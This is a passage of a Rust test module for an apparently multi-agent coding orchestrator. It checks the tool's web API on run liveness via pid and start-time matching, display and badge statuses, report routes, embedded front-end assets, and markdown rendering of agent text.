20371    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
20372        let f = Fixture::start().await;
20373        let id = "20260922-090000-cccc";
20374        let mut state = RunState::new(
20375            PathBuf::from("/repo/magi"),
20376            "main".to_owned(),
20377            "0123456789abcdef".to_owned(),
20378            "Review only".to_owned(),
20379            Config::default(),
20380        );
20381        state.id = id.to_owned();
20382        state.status = RunStatus::Reviewing;
20383        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20384        // This test process's own pid: guaranteed alive, and never needs a
20385        // real daemon or a second process to prove it. The matching start-time
20386        // marker is what `liveness` now requires alongside a live pid — see
20387        // `RunState::driver_started_at`'s own doc for why the pid alone is
20388        // not enough.
20389        state.driver_pid = Some(std::process::id());
20390        state.driver_started_at = Some(
20391            crate::proc::process_started_at(std::process::id())
20392                .expect("this test process's own start time must be queryable"),
20393        );
20394        let dir = f.runs().join(id);
20395        std::fs::create_dir_all(&dir).expect("run dir");
20396        std::fs::write(
20397            dir.join("run.json"),
20398            serde_json::to_string_pretty(&state).expect("serialize run"),
20399        )
20400        .expect("write run.json");
20401
20402        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20403        assert_eq!(detail["live"], "live", "{detail}");
20404    }
20405
20406    /// A killed manual run's pid can be handed to a wholly unrelated later
20407    /// process — a live query on `driver_pid` alone would read this as
20408    /// `"live"`, exactly the false positive `driver_started_at` exists to
20409    /// catch (see that field's own doc, and `RunState::liveness_with`'s
20410    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
20411    #[tokio::test]
20412    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
20413        let f = Fixture::start().await;
20414        let id = "20260922-090100-dddd";
20415        let mut state = RunState::new(
20416            PathBuf::from("/repo/magi"),
20417            "main".to_owned(),
20418            "0123456789abcdef".to_owned(),
20419            "Review only".to_owned(),
20420            Config::default(),
20421        );
20422        state.id = id.to_owned();
20423        state.status = RunStatus::Reviewing;
20424        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20425        // This test process's own pid really is alive, but the marker
20426        // recorded here does not match what it actually started at —
20427        // standing in for the pid having since been reused by a different
20428        // process than the one that wrote `run.json`.
20429        state.driver_pid = Some(std::process::id());
20430        state.driver_started_at = Some("1".to_owned());
20431        let dir = f.runs().join(id);
20432        std::fs::create_dir_all(&dir).expect("run dir");
20433        std::fs::write(
20434            dir.join("run.json"),
20435            serde_json::to_string_pretty(&state).expect("serialize run"),
20436        )
20437        .expect("write run.json");
20438
20439        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20440        assert_eq!(detail["live"], "dead", "{detail}");
20441    }
20442
20443    /// The deck's competition list is normally the first place an operator
20444    /// sees an old run. It must carry the same process verdict as detail, or
20445    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
20446    #[test]
20447    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
20448        let mk = |id: &str, pid: Option<u32>| {
20449            let mut s = RunState::new(
20450                PathBuf::from("/repo/magi"),
20451                "main".to_owned(),
20452                "0123456789abcdef".to_owned(),
20453                "Add a web UI".to_owned(),
20454                Config::default(),
20455            );
20456            s.id = id.to_owned();
20457            s.driver_pid = pid;
20458            s.driver_started_at = Some("1790000000".to_owned());
20459            s
20460        };
20461        let states = vec![
20462            mk("20260902-140502-aaaa", Some(77)),
20463            mk("20260902-140502-bbbb", Some(77)),
20464            mk("20260902-140502-cccc", Some(77)),
20465            mk("20260902-140502-dddd", None),
20466        ];
20467        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
20468        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
20469        let sup: HashMap<String, String> = [(
20470            "20260902-140502-aaaa".to_owned(),
20471            "20260902-140502-cccc".to_owned(),
20472        )]
20473        .into();
20474
20475        let status_calls = std::cell::Cell::new(0);
20476        let identity_calls = std::cell::Cell::new(0);
20477        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
20478            |_| {
20479                status_calls.set(status_calls.get() + 1);
20480                Some(true)
20481            },
20482            |_| {
20483                identity_calls.set(identity_calls.get() + 1);
20484                Some("1790000000".to_owned())
20485            },
20486        ));
20487        let rows = summarize(
20488            states,
20489            &open,
20490            &claimed,
20491            &sup,
20492            |p| probe.borrow_mut().status(p),
20493            |p| probe.borrow_mut().started_at(p),
20494        );
20495
20496        assert_eq!(status_calls.get(), 1, "one pid, one status query");
20497        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
20498        assert_eq!(rows.len(), 4);
20499        assert!(!rows[0].waiting && rows[1].waiting);
20500        assert_eq!(rows[0].live, crate::run::Liveness::Live);
20501        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
20502        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
20503        assert_eq!(rows[1].superseded_by, None);
20504    }
20505
20506    #[test]
20507    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
20508        let mut state = RunState::new(
20509            PathBuf::from("/repo/magi"),
20510            "main".to_owned(),
20511            "0123456789abcdef".to_owned(),
20512            "Review only".to_owned(),
20513            Config::default(),
20514        );
20515        state.id = "20260922-090200-dead".to_owned();
20516        state.status = RunStatus::Reviewing;
20517        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
20518            .expect("serialize list row");
20519        assert_eq!(row["status"], "reviewing");
20520        assert_eq!(row["display_status"], "stale");
20521        assert_eq!(row["live"], "dead", "{row}");
20522        assert!(!row["done"].as_bool().unwrap());
20523    }
20524
20525    #[test]
20526    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
20527        use crate::run::Liveness::{Dead, Live, Unknown};
20528        let mut state = RunState::new(
20529            PathBuf::from("/repo/magi"),
20530            "main".to_owned(),
20531            "abc".to_owned(),
20532            "Review only".to_owned(),
20533            Config::default(),
20534        );
20535        for (status, parked, node, waiting, live, expected) in [
20536            (
20537                RunStatus::Judging,
20538                true,
20539                "github-text",
20540                false,
20541                Dead,
20542                "parked",
20543            ),
20544            (RunStatus::Judging, false, "park", false, Dead, "stale"),
20545            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
20546            (
20547                RunStatus::Judging,
20548                true,
20549                "github-text",
20550                true,
20551                Dead,
20552                "waiting",
20553            ),
20554            (
20555                RunStatus::Judging,
20556                false,
20557                "github-text",
20558                true,
20559                Dead,
20560                "waiting",
20561            ),
20562            (
20563                RunStatus::Judging,
20564                false,
20565                "github-text",
20566                false,
20567                Dead,
20568                "stale",
20569            ),
20570            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
20571            (RunStatus::Judging, true, "park", false, Live, "judging"),
20572            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
20573            (RunStatus::Merged, true, "park", false, Dead, "merged"),
20574            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
20575            (
20576                RunStatus::Blocked,
20577                true,
20578                "github-text",
20579                true,
20580                Dead,
20581                "waiting",
20582            ),
20583        ] {
20584            state.status = status;
20585            state.parked = parked;
20586            state.events.clear();
20587            state.event(
20588                "park",
20589                "an earlier park does not determine the latest state",
20590            );
20591            state.event(node, "message is not used for classification");
20592            let summary = RunSummary::of(&state, waiting, live);
20593            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
20594            assert_eq!(
20595                summary.display_status, expected,
20596                "{status:?}/{node}/{live:?}"
20597            );
20598            assert_eq!(detail.display_status, summary.display_status);
20599            assert_eq!(detail.waiting, summary.waiting);
20600        }
20601        state.status = RunStatus::Judging;
20602        state.parked = false;
20603        state.events.clear();
20604        assert_eq!(run_display_status(&state, false, Dead), "stale");
20605    }
20606
20607    #[test]
20608    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
20609        use crate::run::Liveness::{Dead, Live, Unknown};
20610        let mut state = RunState::new(
20611            PathBuf::from("/repo/magi"),
20612            "main".to_owned(),
20613            "abc".to_owned(),
20614            "Badge".to_owned(),
20615            Config::default(),
20616        );
20617        for (status, waiting, live, superseded, expected) in [
20618            (RunStatus::Gating, false, Dead, false, "stale"),
20619            (RunStatus::Gating, false, Dead, true, "superseded"),
20620            (RunStatus::Gating, false, Unknown, true, "superseded"),
20621            (RunStatus::Gating, true, Dead, true, "superseded"),
20622            (RunStatus::Gating, true, Dead, false, "waiting"),
20623            (RunStatus::Gating, false, Unknown, false, "gating"),
20624            (RunStatus::Gating, false, Live, true, "gating"),
20625            (RunStatus::Gating, true, Live, true, "waiting"),
20626            (RunStatus::Merged, false, Dead, true, "merged"),
20627            (RunStatus::Blocked, false, Dead, true, "blocked"),
20628        ] {
20629            state.status = status;
20630            let display = run_display_status(&state, waiting, live);
20631            assert_eq!(
20632                run_badge_status(&state, &display, live, superseded),
20633                expected,
20634                "{status:?}/{live:?}/superseded={superseded}"
20635            );
20636        }
20637    }
20638
20639    #[test]
20640    fn summarize_and_detail_expose_badge_status() {
20641        use crate::run::Liveness::Dead;
20642        let mut state = RunState::new(
20643            PathBuf::from("/repo/magi"),
20644            "main".to_owned(),
20645            "abc".to_owned(),
20646            "Badge".to_owned(),
20647            Config::default(),
20648        );
20649        state.status = RunStatus::Gating;
20650        let none = HashSet::new();
20651        let id = state.id.clone();
20652        let mut by = HashMap::new();
20653        let rows = summarize(
20654            [state.clone()],
20655            &none,
20656            &none,
20657            &by,
20658            |_| Some(false),
20659            |_| None,
20660        );
20661        // No driver recorded: liveness is not provably dead, so the node stays.
20662        assert_eq!(rows[0].badge_status, rows[0].display_status);
20663        by.insert(id, "20260901-000000-913b".to_owned());
20664        let detail = RunDetailView::of(
20665            state.clone(),
20666            false,
20667            Dead,
20668            Some("913b".to_owned()),
20669            None,
20670            None,
20671        );
20672        assert_eq!(detail.badge_status, "superseded");
20673        let json = serde_json::to_value(&detail).unwrap();
20674        assert_eq!(json["badge_status"], "superseded");
20675        let detail = RunDetailView::of(state, false, Dead, None, None, None);
20676        assert_eq!(detail.badge_status, "stale");
20677    }
20678
20679    #[tokio::test]
20680    async fn run_display_status_routes_share_the_open_question_store() {
20681        let f = Fixture::start().await;
20682        let id = "20260922-090200-abcd";
20683        write_run(&f.runs(), id, RunStatus::Judging);
20684        let mut state = read_run(&f.runs(), id).unwrap();
20685        state.parked = true;
20686        state.driver_exited = true;
20687        state.event("github-text", "waiting for the owner");
20688        state.save_under(f.home.path()).unwrap();
20689        let mut task = Task::new(
20690            "resumed task".to_owned(),
20691            "do it".to_owned(),
20692            PathBuf::from("/repo"),
20693            Source::Human,
20694        );
20695        task.runs = vec![id.to_owned(), id.to_owned()];
20696        f.queue().put(&mut task).unwrap();
20697        let store = f.questions();
20698        let mut q = Question::new(
20699            id.to_owned(),
20700            "github-text".to_owned(),
20701            "owner".to_owned(),
20702            "Approve the text?".to_owned(),
20703            String::new(),
20704            Vec::new(),
20705        );
20706        store.put(&mut q).unwrap();
20707        for expected in ["waiting", "parked"] {
20708            let list = f.get("/api/runs").await.json();
20709            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20710            assert_eq!(list[0]["display_status"], expected);
20711            assert_eq!(detail["display_status"], expected);
20712            assert_eq!(detail["waiting"], list[0]["waiting"]);
20713            assert_eq!(list[0]["badge_status"], expected);
20714            assert_eq!(detail["badge_status"], expected);
20715            assert!(list[0]["superseded_by"].is_null());
20716            assert!(detail["superseded_by"].is_null());
20717            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
20718            let history = task_detail["history"].as_array().unwrap();
20719            assert_eq!(history.len(), 2);
20720            assert!(history[0]["badge"].is_null());
20721            assert_eq!(history[1]["badge"], expected);
20722            q.status = ask::QuestionStatus::Answered;
20723            store.put(&mut q).unwrap();
20724        }
20725    }
20726
20727    #[tokio::test]
20728    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
20729        let f = Fixture::start().await;
20730        let id = "20260922-090200-abcd";
20731        write_run(&f.runs(), id, RunStatus::Judging);
20732        let mut state = read_run(&f.runs(), id).unwrap();
20733        state.parked = true;
20734        state.driver_exited = true;
20735        state.event("park", "stopped at a node boundary");
20736        state.save_under(f.home.path()).unwrap();
20737
20738        for expected in ["parked", "stale"] {
20739            let list = f.get("/api/runs").await.json();
20740            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20741            assert_eq!(list[0]["live"], "dead");
20742            assert_eq!(list[0]["display_status"], expected);
20743            assert_eq!(detail["display_status"], expected);
20744            // Model a driver claim followed by a crash before the next event:
20745            // the persisted flag changes, but the last event is still park.
20746            state.parked = false;
20747            state.save_under(f.home.path()).unwrap();
20748        }
20749    }
20750
20751    #[tokio::test]
20752    async fn the_run_list_is_newest_first_and_honours_a_limit() {
20753        let f = Fixture::start().await;
20754        for id in [
20755            "20260902-140501-aaaa",
20756            "20260902-140502-bbbb",
20757            "20260902-140503-cccc",
20758        ] {
20759            write_run(&f.runs(), id, RunStatus::Merged);
20760        }
20761
20762        let all = f.get("/api/runs").await.json();
20763        let capped = f.get("/api/runs?limit=2").await.json();
20764
20765        assert_eq!(all[0]["id"], "20260902-140503-cccc");
20766        assert_eq!(all.as_array().map(Vec::len), Some(3));
20767        assert_eq!(capped.as_array().map(Vec::len), Some(2));
20768        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
20769    }
20770
20771    #[tokio::test]
20772    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
20773        let f = Fixture::start().await;
20774        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
20775
20776        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
20777
20778        assert_eq!(res.status, 200);
20779        assert!(
20780            res.headers
20781                .contains("content-type: text/plain; charset=utf-8"),
20782            "a browser must render it, not download it: {}",
20783            res.headers
20784        );
20785        // The assertion is on content, not on the absence of escapes: colour
20786        // is a process-global that `serve` turns off at startup, and another
20787        // test in this binary may own it while this one runs.
20788        assert!(
20789            res.body.contains("20260902-140501-a1b2"),
20790            "the report is about the run that was asked for: {}",
20791            res.body
20792        );
20793    }
20794
20795    #[tokio::test]
20796    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
20797        // The view names the run's state directory, which reads the process-global home.
20798        crate::run::pin_test_home();
20799        let f = Fixture::start().await;
20800        let id = "20260902-140501-a1b2";
20801        write_run(&f.runs(), id, RunStatus::Stalled);
20802        // A stalled panel and one review round, written through the real
20803        // state file so the route reads what a run really leaves behind.
20804        let path = f.runs().join(id).join("run.json");
20805        let mut v: serde_json::Value =
20806            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20807        v["tally"] = serde_json::json!({
20808            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20809            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20810            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20811            "met_quorum": false, "rankings": 1
20812        });
20813        v["reviews"] = serde_json::json!([{
20814            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
20815            "e2e_deferred": true,
20816            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
20817                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
20818            ]}]
20819        }]);
20820        std::fs::write(&path, v.to_string()).unwrap();
20821        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
20822        std::fs::write(
20823            f.runs().join("20260902-140502-dead").join("run.json"),
20824            "{not json",
20825        )
20826        .unwrap();
20827
20828        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20829
20830        assert_eq!(res.status, 200, "{}", res.body);
20831        assert!(res.headers.contains("content-type: application/json"));
20832        let j = res.json();
20833        assert_eq!(j["schema"], 1);
20834        assert_eq!(j["header"]["id"], id);
20835        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
20836        let kinds: Vec<&str> = j["sections"]
20837            .as_array()
20838            .unwrap()
20839            .iter()
20840            .map(|s| s["kind"].as_str().unwrap())
20841            .collect();
20842        assert_eq!(kinds, ["candidates", "tally", "review"]);
20843        let tally = &j["sections"][1]["tally"];
20844        assert_eq!(
20845            (tally["decided"].clone(), tally["provisional"].clone()),
20846            (false.into(), true.into())
20847        );
20848        let round = &j["sections"][2]["rounds"][0];
20849        assert_eq!(round["e2e"]["state"], "deferred");
20850        assert_eq!(round["findings"][0]["severity"], "major");
20851        assert_eq!(round["findings"][0]["blocking"], true);
20852        assert_eq!(round["findings"][0]["state"], "open");
20853
20854        // The raw route keeps working beside it.
20855        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
20856
20857        // An unreadable run is an error, as on the text route, and is counted.
20858        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
20859        assert_ne!(bad.status, 200, "{}", bad.body);
20860        assert_eq!(
20861            bad.status,
20862            f.get("/api/runs/20260902-140502-dead/report").await.status
20863        );
20864        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
20865        assert_eq!(
20866            f.get("/api/runs/20260902-999999-ffff/report.json")
20867                .await
20868                .status,
20869            404
20870        );
20871    }
20872
20873    #[tokio::test]
20874    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
20875        crate::run::pin_test_home();
20876        let f = Fixture::start().await;
20877        let id = "20260902-140503-delib";
20878        write_run(&f.runs(), id, RunStatus::Merged);
20879        let path = f.runs().join(id).join("run.json");
20880        let mut v: serde_json::Value =
20881            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20882        v["judgements"] = serde_json::json!([
20883            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20884        ]);
20885        v["tally"] = serde_json::json!({
20886            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20887            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
20888            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
20889            "met_quorum": true, "rankings": 1
20890        });
20891        v["deliberation"] = serde_json::json!([
20892            {
20893                "round": 1,
20894                "turns": [
20895                    {
20896                        "judge": 1,
20897                        "agent": "judge-1",
20898                        "body": "I prefer candidate **A** because it has cleaner tests.",
20899                        "tentative": "A"
20900                    }
20901                ]
20902            },
20903            {
20904                "round": 2,
20905                "turns": [
20906                    {
20907                        "judge": 1,
20908                        "agent": "judge-1",
20909                        "body": "Still thinking, no choice yet.",
20910                        "tentative": null
20911                    }
20912                ]
20913            }
20914        ]);
20915        std::fs::write(&path, v.to_string()).unwrap();
20916
20917        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20918        assert_eq!(res.status, 200, "{}", res.body);
20919        let j = res.json();
20920        let judging = j["sections"]
20921            .as_array()
20922            .unwrap()
20923            .iter()
20924            .find(|s| s["kind"] == "judging")
20925            .expect("judging section exists");
20926
20927        // Existing summary lines remain intact
20928        let delib_lines = judging["deliberation"].as_array().unwrap();
20929        assert_eq!(delib_lines.len(), 2);
20930        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
20931        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
20932
20933        // rounds carry turn bodies, tentative and parsed body_md
20934        let rounds = judging["rounds"].as_array().unwrap();
20935        assert_eq!(rounds.len(), 2);
20936        let r1_t0 = &rounds[0]["turns"][0];
20937        assert_eq!(r1_t0["judge"], 1);
20938        assert_eq!(r1_t0["agent"], "judge-1");
20939        assert_eq!(r1_t0["tentative"], "A");
20940        assert_eq!(
20941            r1_t0["body"],
20942            "I prefer candidate **A** because it has cleaner tests."
20943        );
20944        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
20945
20946        let r2_t0 = &rounds[1]["turns"][0];
20947        assert_eq!(r2_t0["judge"], 1);
20948        assert_eq!(r2_t0["agent"], "judge-1");
20949        assert!(r2_t0["tentative"].is_null());
20950        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
20951        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
20952
20953        // A run with empty deliberation array yields empty rounds
20954        let id_empty = "20260902-140504-nodelib";
20955        write_run(&f.runs(), id_empty, RunStatus::Merged);
20956        let path_empty = f.runs().join(id_empty).join("run.json");
20957        let mut v_empty: serde_json::Value =
20958            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
20959        v_empty["judgements"] = serde_json::json!([
20960            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20961        ]);
20962        v_empty["deliberation"] = serde_json::json!([]);
20963        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
20964
20965        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
20966        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
20967        let j_empty = res_empty.json();
20968        let judging_empty = j_empty["sections"]
20969            .as_array()
20970            .unwrap()
20971            .iter()
20972            .find(|s| s["kind"] == "judging")
20973            .expect("judging section exists");
20974        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
20975    }
20976
20977    #[tokio::test]
20978    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
20979        let f = Fixture::start().await;
20980
20981        let html = f.get("/").await;
20982        let css = f.get("/app.css").await;
20983        let js = f.get("/app.js").await;
20984
20985        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
20986        assert!(
20987            html.headers
20988                .contains("content-type: text/html; charset=utf-8")
20989        );
20990        assert!(css.headers.contains("content-type: text/css"));
20991        assert!(js.headers.contains("content-type: text/javascript"));
20992        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
20993    }
20994
20995    #[test]
20996    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
20997        let body = |name: &str| {
20998            let at = APP_JS
20999                .find(name)
21000                .unwrap_or_else(|| panic!("{name} missing"));
21001            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
21002        };
21003        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
21004        let note = body("function landRoundNote");
21005        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
21006        assert!(note.contains("Land round ${round}"));
21007        let land = body("function renderLand");
21008        let note_at = land
21009            .find("landRoundNote(pr)")
21010            .expect("renderLand uses the note");
21011        assert!(
21012            note_at
21013                < land
21014                    .find("roundRail(pr)")
21015                    .expect("renderLand uses the rail")
21016        );
21017    }
21018
21019    #[test]
21020    fn the_runs_page_redesign_keeps_its_guards() {
21021        let body = |name: &str| {
21022            let at = APP_JS
21023                .find(name)
21024                .unwrap_or_else(|| panic!("{name} missing"));
21025            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
21026        };
21027        // A null child must never reach the native append (it prints "null").
21028        let land = body("function renderLand");
21029        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
21030        assert!(
21031            !land.contains("box.append("),
21032            "renderLand must use append()"
21033        );
21034        assert!(land.contains("append(box, ["));
21035        // Tabs are hash routes; the run id alone decides a reload.
21036        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
21037        assert!(
21038            body("function applyRoute")
21039                .contains("route.name !== state.route.name || route.id !== state.route.id")
21040        );
21041        // The decorative diagram is gone, the strip and its guards stay.
21042        assert!(!APP_JS.contains("adviseConvergeDiagram"));
21043        assert!(!INDEX_HTML.contains("advise-converge"));
21044        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
21045        assert!(APP_JS.contains("provisional"));
21046        for id in [
21047            "run-tab-overview",
21048            "run-tab-timeline",
21049            "run-tab-report",
21050            "run-report",
21051            "runs-scope",
21052        ] {
21053            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
21054        }
21055        assert!(!INDEX_HTML.contains("runs-tree"));
21056        assert!(!INDEX_HTML.contains("run-raw-panel"));
21057        // Fold still says it cannot be resumed.
21058        assert!(APP_JS.contains("resume"));
21059        // The unreadable-runs count stays on the page.
21060        assert!(APP_JS.contains("unreadable"));
21061    }
21062
21063    #[test]
21064    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
21065        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
21066        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
21067        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
21068        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
21069        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
21070        // The subtitle still counts them whatever the banner does.
21071        assert!(APP_JS.contains("unreadable` : null"));
21072    }
21073
21074    #[test]
21075    fn blocked_run_detail_exposes_the_failed_gate_reason() {
21076        let mut state = RunState::new(
21077            "/repo".into(),
21078            "main".into(),
21079            "abc".into(),
21080            "task".into(),
21081            crate::config::Config::default(),
21082        );
21083        state.status = RunStatus::Blocked;
21084        state.gate_ran = true;
21085        state.gate.push(crate::run::CommandOutcome {
21086            command: "cargo make check".into(),
21087            code: Some(1),
21088            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
21089            duration_ms: 0,
21090            resource_blocked: false,
21091        });
21092        let view = RunDetailView::of(
21093            state,
21094            false,
21095            crate::run::Liveness::Unknown,
21096            None,
21097            None,
21098            None,
21099        );
21100        let value = serde_json::to_value(view).unwrap();
21101        assert_eq!(
21102            value["stop_reason"],
21103            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
21104        );
21105    }
21106
21107    #[test]
21108    fn the_run_detail_payload_says_whether_the_run_is_done() {
21109        // `landView` reads `run.done`; the detail response must carry it.
21110        for (status, done) in [
21111            (RunStatus::Superseded, true),
21112            (RunStatus::Blocked, true),
21113            (RunStatus::Landing, false),
21114        ] {
21115            let mut state = RunState::new(
21116                std::path::PathBuf::from("/repo"),
21117                "main".to_owned(),
21118                "abc".to_owned(),
21119                "x".to_owned(),
21120                crate::config::Config::default(),
21121            );
21122            state.status = status;
21123            let v = serde_json::to_value(RunDetailView::of(
21124                state,
21125                false,
21126                crate::run::Liveness::Unknown,
21127                None,
21128                None,
21129                None,
21130            ))
21131            .unwrap();
21132            assert_eq!(v["done"], done, "{status:?}");
21133        }
21134    }
21135
21136    /// The first node of a markdown block holds a `strong` somewhere.
21137    fn has_strong(nodes: &[md::Node]) -> bool {
21138        serde_json::to_string(nodes).unwrap().contains("strong")
21139    }
21140
21141    #[test]
21142    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
21143        let mut state = RunState::new(
21144            std::path::PathBuf::from("/repo"),
21145            "main".to_owned(),
21146            "abc".to_owned(),
21147            "x".to_owned(),
21148            crate::config::Config::default(),
21149        );
21150        let proposal = |approach: &str| {
21151            serde_json::json!({
21152                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
21153            })
21154        };
21155        state.advice = Some(
21156            serde_json::from_value(serde_json::json!({
21157                "records": [
21158                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
21159                     "proposal": proposal("do **this**")},
21160                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
21161                ],
21162                "synthesis": "- one\n- **two**\n\n`code`",
21163            }))
21164            .unwrap(),
21165        );
21166        state.candidates = serde_json::from_value(serde_json::json!([
21167            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
21168             "summary": "did **it**"},
21169            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
21170        ]))
21171        .unwrap();
21172        // Recorded in ascending severity, the reverse of how the page sorts
21173        // them: the arrays must follow the record, not the display.
21174        state.reviews = serde_json::from_value(serde_json::json!([{
21175            "round": 1, "head": "h",
21176            "reviews": [{
21177                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
21178                "findings": [
21179                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
21180                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
21181                ],
21182            }],
21183            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
21184            "fix": {"agent": "a", "notes": "fixed **it**",
21185                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
21186        }, {"round": 2, "head": "h2", "reviews": []}]))
21187        .unwrap();
21188
21189        let v = serde_json::to_value(RunDetailView::of(
21190            state,
21191            false,
21192            crate::run::Liveness::Unknown,
21193            None,
21194            None,
21195            None,
21196        ))
21197        .unwrap();
21198
21199        let strong = |p: &str| {
21200            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
21201            assert!(n.to_string().contains("strong"), "{p}: {n}");
21202        };
21203        strong("/advice_md/synthesis");
21204        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
21205        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
21206        strong("/advice_md/approaches/0");
21207        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
21208        strong("/candidate_summaries_md/0");
21209        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
21210        strong("/reviews_md/0/reviewers/0/summary");
21211        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
21212        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
21213        assert!(f[1].to_string().contains("strong"));
21214        strong("/reviews_md/0/reconsideration/0");
21215        strong("/reviews_md/0/fix/notes");
21216        strong("/reviews_md/0/fix/rejected/0");
21217        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
21218        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
21219        // The raw strings stay, and no schema moved.
21220        assert_eq!(v["candidates"][0]["summary"], "did **it**");
21221        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
21222    }
21223
21224    #[test]
21225    fn a_run_without_advice_has_no_advice_md() {
21226        let state = RunState::new(
21227            std::path::PathBuf::from("/repo"),
21228            "main".to_owned(),
